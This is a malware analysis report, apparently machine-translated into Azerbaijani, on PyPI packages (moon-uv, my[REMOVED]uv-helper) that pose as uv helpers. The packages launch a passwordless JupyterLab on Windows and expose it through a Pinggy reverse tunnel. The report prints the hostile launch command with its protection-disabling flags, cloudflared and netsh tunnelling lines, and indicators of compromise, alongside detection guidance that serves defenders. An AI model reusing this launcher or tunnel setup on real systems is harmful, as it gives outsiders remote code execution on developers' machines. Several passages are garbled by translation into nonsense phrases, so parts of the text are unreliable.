TL; DR
PyPI paketlərinin bir qrupu adını öz üzərinə götürmüşdür uv, UV köməkçiləri kimi təqdim etmək üçün sürətli və olduqca populyar Rust əsaslı Python paket meneceri. Onlar demək olar ki, heç bir real funksionallıq təqdim etmirlər. Bunun əvəzinə, onlar Windows-un dəstəkləyici funksiyasını daşıyırlar. JupyterLab serveri identifikasiyası söndürülmüşdür və sonrakı versiyalarında onu əks tunel vasitəsilə ictimai internetə yayımlayır.
Bütün hekayə bir sətirdə belədir: etibarlı bir alətin adı yem, JupyterLab isə uzaqdan kod icra mühərriki kimi istifadə olunur. Jupyter serveri, daxil etdiyiniz hər hansı bir kodu not serverinə işlədirebook boş bir tokenlə işə salınan və hər bir şəbəkə interfeysinə bağlı olan hüceyrə, porta çata bilən hər kəsin idarə edə biləcəyi açıq bir tərcüməçidir.
Biz klasteri aşağıdakı kimi izləyirik FauxUVAraşdırılan iki paket bunlardır moon-uv (0.0.1-0.0.16) və my-magic-uv-helper (0.0.1), eyni operator tərəfindən dərc edilmiş və təhlil zamanı PyPI-də canlı yayımlanmışdır.
| Ekosistem | PyPI |
| Paketlər | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platforma hədəflənmişdir | Windows |
| Əsas davranış | Təsdiqlənməmiş JupyterLab serveri, əks tunel vasitəsilə internetə yayımlandı |
| Qanuni vasitələrdən sui-istifadə | uv, JupyterLab, cloudflared, Pinggy |
Cazibə: artıq etibar etdiyiniz bir ad
uv son iki ilin ən çox quraşdırılmış Python alətlərindən biridir, buna görə də "köməkçi"dir uv"bir geliştiricinin ikinci dəfə düşünmədən quraşdırdığı bir paketdir. FauxUV öz etibarlılığını tamamilə bu ada sərf edir. Paketlər ... orijinal uv Astral-dan quraşdırıcı — real, nüfuzlu hostlardakı yükləmə nöqtəsindəki URL-lər — buna görə də qısa bir baxışda yalnız etibarlı istinadlar görünür. Paketlərin heç biri əslində əlavə etmir uv funksionallıq; ad bütün maskalanmadır.
JupyterLab RCE mühərriki kimi
Faydalı yükün mərkəzi hissəsi, hər bir qoruyucu barmaqlıq çıxarıldıqda JupyterLab-ı işə salan bir başlatma cihazıdır:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Hər bayraq bir qorumanı aradan qaldırır və göndərilən skript hətta onları (orijinal Çin dilində) qeyd edir: boş işarə "Şifrə və token yoxlamalarını söndürür - hər kəs qoşula bilər." Yupiter laboratoriyası qanuni məlumat elmi IDE-dir, lakin deyilebook Hüceyrə dizayna görə ixtiyari kodu icra edir. Bu şəkildə konfiqurasiya edilir və bağlıdır 0.0.0.0, o, IDE olmağı dayandırır və hostda təsdiqlənməmiş uzaq bir qabığa çevrilir — xüsusi zərərli proqram ikili faylı tələb olunmur, sadəcə əsas alət səhv istiqaməti göstərir.
İki dəstəkləyici hissə onu əlçatan və təkrarlana bilən edir:
- Səssiz quraşdırma tetikleyicisi. İlk versiyalar PowerShell ilə işləyir -İcra Siyasətinin Keçidindən Keçid düz quraşdırma.py on pip quraşdırma, arxa planda səhvlər basdırılmış şəkildə çəyirdək normal görünür. Sonrakı versiyalar eyni ibtidai hissəni a-ya köçürür pip-uv əmr sətri aləti — və quraşdırma zamanı avtomatik işə salmanı tamamilə dayandırın.
- İctimai tərs tunel. Server aktivdir 0.0.0.0 hələ də yalnız maşına yönləndirə bilən hostlar tərəfindən əldə edilə bilər. Paketlənmiş modul [Pinggy]() açır.https://pinggy.io/) Yerli Jupyter portunu ictimai ünvana yönləndirən və bu limiti aradan qaldıran SSH tərs tuneli. Göndərilən skript həmçinin Cloudflare-dən istifadə edərək alternativ bir yol daşıyır - şərh olunur buludlu və bir netsh port-proxy-ni Linode IP-sinə göndərir və eyni məqsədi fərqli infrastruktur vasitəsilə sənədləşdirir.
Bir yerə yığın: paketi quraşdırın və Windows hostu parolsuz JupyterLab işlədərək onu açıq internetə yayımlayır.
FauxUV necə inkişaf etdi
FauxUV versiyaları sürətlə ardıcıl olaraq göndərildi və faydalı yükün tetik nöqtəsi onların üzərindən keçdi - bu, bayraqlı bir versiyanın nadir hallarda paket xəttinin bütün hekayəsini izah etdiyini xatırladır.
| Mərhələ | Sürümleri | Trigger | Nə əlavə edir |
|---|---|---|---|
| Quraşdırma qarmağı | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py pip quraşdırmasında | uv quraşdırma + PATH prepend |
| CLI işləmə müddəti | moon-uv 0.0.5-0.0.13 | pip-uv komanda | parolsuz JupyterLab başlatma cihazı |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv komanda | aktiv Pingy tərs tuneli |
Xüsusilə, quraşdırma zamanı avtomatik işə salınma idi silindi sonrakı, daha bacarıqlı versiyalarda — beləliklə, skaner yalnız həyat dövrünə uyğunlaşdırılmışdır hooks yeni buraxılışları belə qiymətləndirərdi az riskli, tam olaraq geriyə doğru.
Kompromis göstəriciləri
Paket mənbəyini oxumaqla təsdiqləndi; son nöqtələr qeyd edildi şərh fayllarda mövcuddur, lakin təhlil edilən versiya tərəfindən icra edilmir. Şəbəkə indikatorları defanglidir.
| növü | Göstərici |
|---|---|
| Quraşdırma əmri | powershell -ExecutionPolicy Bypass orijinal uv quraşdırıcısını pip quraşdırma zamanı əldə etmək |
| JupyterLab bayraqları | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Tərs tunel (aktiv) | free[.]pinggy[.]io:443 yerli yönləndirmə 127.0.0.1:8888 |
| Tunel aparıcısı (şərh edilib) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (şərh edilib) | 45[.]79[.]134[.]161 (Linode) vasitəsilə netsh port-proxy |
| Əzmkarlıq | əvvəlcədən %USERPROFILE%\.local\bin istifadəçiyə PATH |
Bu dəqiq sətirlərdən asılı olmayaraq diqqət yetirməyə dəyər davranış siqnalları: a pip quraşdırma ki, törəyir powershell -ExecutionPolicy Bypass; hər hansı jupyter birləşən buraxılış token = ” donor yumurtaları, –ip=0.0.0.0və xaricdəki SSH-yə *.pinggy.io geliştiricidən və ya CI maşınından.
Müşahidə edilən davranış və mənşə
İki paket müəllif və metodu paylaşır: etibarlı alətin adı, yalnız Windows üçün giriş, səhv basdırılmış fon icrası və etibarlı alətlərə etibar, beləliklə, tez bir baxışda yalnız etibarlı URL-ləri görmək mümkündür. Mənbədə təhlükəsizliklə əlaqəli bayraqları açıq şəkildə təsvir edən Çin dilində şərhlər var; biz bunları faylda müşahidə edilə bilən ifadələr kimi bildiririk, motivlə bağlı iddia kimi deyil. icazə_mənşəyi dəyər və colab.bat filename Google Colab üçün dövriyyədə olan qeyri-rəsmi “yerli işləmə müddətimi paylaş” iş axınlarını echo edir. Mənşəyi nə olursa olsun, paketlənmiş nəticə eynidir.
Müdafiəçilər üçün təsir və rəhbərlik
FauxUV-yə kim məruz qalır? Windows inkişaf etdiriciləri və CI çalışdırıcıları pip quraşdırma bu paketlərdən biri. Şifrəsiz JupyterLab 0.0.0.0 porta çata bilən hər kəs üçün uzaqdan kod icrasıdır; tunel "ona kim çata bilər" limitini aradan qaldırır. Server quraşdırıcı istifadəçi kimi işləyir və həmin istifadəçinin fayllarını, tokenlərini və bulud etimadnaməsini miras alır.
Niyə qaçırmaq asandır. Hər şəbəkə simi nüfuzlu bir hostu göstərir — Astral, JupyterLab, buludlu, Pinggy, Colab. Heş etmək üçün zərərli proqram binar versiyası və deşifrə etmək üçün qarışıq ləkə yoxdur. Reputasiya və imza əsaslı skanlama həm bunu zəif qiymətləndirir, buna görə də davranış sualı — Bu paketin quraşdırılması maşını nəyə məcbur edir? — onu tutan odur.
Rəhbərlik:
- Hər hansı bir quraşdırma müddətini müalicə edin powershell -ExecutionPolicy Bypass hansı URL-i əldə etməsindən asılı olmayaraq, quruluşu pozan bir siqnal kimi.
- Xəbərdarlıq aktivdir jupyter boş bir token ilə işə salındı və –ip=0.0.0.0; bu kombinasiya heç vaxt iş stansiyasında və ya çalıştırıcıda görünməməlidir.
- SSH-dən tunel provayderlərinə gedənlər üçün monitorinq (*.pinggy.io, *.trycloudflare.com) geliştirici və CI mühitlərindən.
- Quraşdırın uv [rəsmi mənbəyindən](https://docs.astral.sh/uv/) və quraşdırılması onsuz da asan olmayan bir aləti əhatə edən üçüncü tərəf "köməkçi" paketlərinə şübhə ilə yanaşın.
- Yeniləmə zamanı asılılıqları sancın və yenidən nəzərdən keçirin — paket xətti yeni imkanları versiyadan versiyaya qədər artıra bilər.



